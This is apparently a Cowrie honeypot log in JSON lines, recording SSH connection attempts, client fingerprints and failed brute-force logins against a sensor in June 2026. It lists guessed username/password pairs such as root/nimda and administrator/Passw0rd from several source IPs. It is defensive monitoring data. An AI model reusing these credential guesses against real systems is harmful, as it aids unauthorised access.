{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:03.621351Z","src_ip":"45.153.34.195","session":"acbbedd80712","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trade","password":"123456","message":"login attempt [trade/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:04.058751Z","src_ip":"45.153.34.195","session":"acbbedd80712","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.8","message":"Connection lost after 11.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:04.465541Z","src_ip":"173.208.192.194","session":"dd16403a6f35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:05.144930Z","src_ip":"45.153.34.195","session":"acbbedd80712","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.136.214.177","src_port":29480,"dst_ip":"10.17.0.5","dst_port":22,"session":"056fa1d4c6be","protocol":"ssh","message":"New connection: 150.136.214.177:29480 (10.17.0.5:22) [session: 056fa1d4c6be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:05.763349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:05.768108Z","src_ip":"150.136.214.177","session":"056fa1d4c6be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"671ac49b8bd65b9e8ff02a3e690f0fd3","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 671ac49b8bd65b9e8ff02a3e690f0fd3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:05.794497Z","src_ip":"150.136.214.177","session":"056fa1d4c6be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kamal","password":"P@ssw0rd","message":"login attempt [kamal/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:05.950042Z","src_ip":"150.136.214.177","session":"056fa1d4c6be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":39814,"dst_ip":"10.17.0.5","dst_port":22,"session":"deef624239b9","protocol":"ssh","message":"New connection: 45.153.34.195:39814 (10.17.0.5:22) [session: deef624239b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:06.310858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:06.328799Z","src_ip":"45.153.34.195","session":"deef624239b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:06.419496Z","src_ip":"45.153.34.195","session":"deef624239b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"Passw0rd","message":"login attempt [administrator/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:06.806665Z","src_ip":"45.153.34.195","session":"deef624239b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:06.981132Z","src_ip":"150.136.214.177","session":"056fa1d4c6be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:07.891437Z","src_ip":"45.153.34.195","session":"deef624239b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":39838,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e4da4ca721f","protocol":"ssh","message":"New connection: 45.153.34.195:39838 (10.17.0.5:22) [session: 1e4da4ca721f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:09.266506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:09.271279Z","src_ip":"45.153.34.195","session":"1e4da4ca721f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:09.372399Z","src_ip":"45.153.34.195","session":"1e4da4ca721f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nimda","message":"login attempt [root/nimda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:09.638093Z","src_ip":"45.153.34.195","session":"1e4da4ca721f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:10.722422Z","src_ip":"45.153.34.195","session":"1e4da4ca721f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":14948,"dst_ip":"10.17.0.5","dst_port":22,"session":"97fe166eb636","protocol":"ssh","message":"New connection: 45.153.34.195:14948 (10.17.0.5:22) [session: 97fe166eb636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:12.203758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:12.245461Z","src_ip":"45.153.34.195","session":"97fe166eb636","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:12.338270Z","src_ip":"45.153.34.195","session":"97fe166eb636","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localadmin","password":"localadmin","message":"login attempt [localadmin/localadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:12.826435Z","src_ip":"45.153.34.195","session":"97fe166eb636","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:13.916260Z","src_ip":"45.153.34.195","session":"97fe166eb636","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.139254331588745,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:13.966180Z","src_ip":"128.199.8.54","session":"2bd89ea181b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":14956,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cf64acfcbaa","protocol":"ssh","message":"New connection: 45.153.34.195:14956 (10.17.0.5:22) [session: 3cf64acfcbaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:15.203464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:15.231442Z","src_ip":"45.153.34.195","session":"3cf64acfcbaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:15.333476Z","src_ip":"45.153.34.195","session":"3cf64acfcbaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":35570,"dst_ip":"10.17.0.5","dst_port":22,"session":"e71b260d1157","protocol":"ssh","message":"New connection: 91.92.40.36:35570 (10.17.0.5:22) [session: e71b260d1157]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:15.604382Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.51","src_port":57158,"dst_ip":"10.17.0.5","dst_port":22,"session":"756aa4020e44","protocol":"ssh","message":"New connection: 23.175.50.51:57158 (10.17.0.5:22) [session: 756aa4020e44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:15.732252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:15.737875Z","src_ip":"23.175.50.51","session":"756aa4020e44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"admin","message":"login attempt [deploy/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:15.810087Z","src_ip":"45.153.34.195","session":"3cf64acfcbaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:15.942318Z","src_ip":"23.175.50.51","session":"756aa4020e44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:16.904880Z","src_ip":"45.153.34.195","session":"3cf64acfcbaa","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:17.034519Z","src_ip":"91.92.40.36","session":"e71b260d1157","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:17.116946Z","src_ip":"91.92.40.36","session":"e71b260d1157","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":14970,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0317c6fb394","protocol":"ssh","message":"New connection: 45.153.34.195:14970 (10.17.0.5:22) [session: a0317c6fb394]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:17.910735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:17.917258Z","src_ip":"45.153.34.195","session":"a0317c6fb394","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:18.211145Z","src_ip":"45.153.34.195","session":"a0317c6fb394","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@@@@","message":"login attempt [root/@@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:18.568595Z","src_ip":"45.153.34.195","session":"a0317c6fb394","protocol":"ssh"}
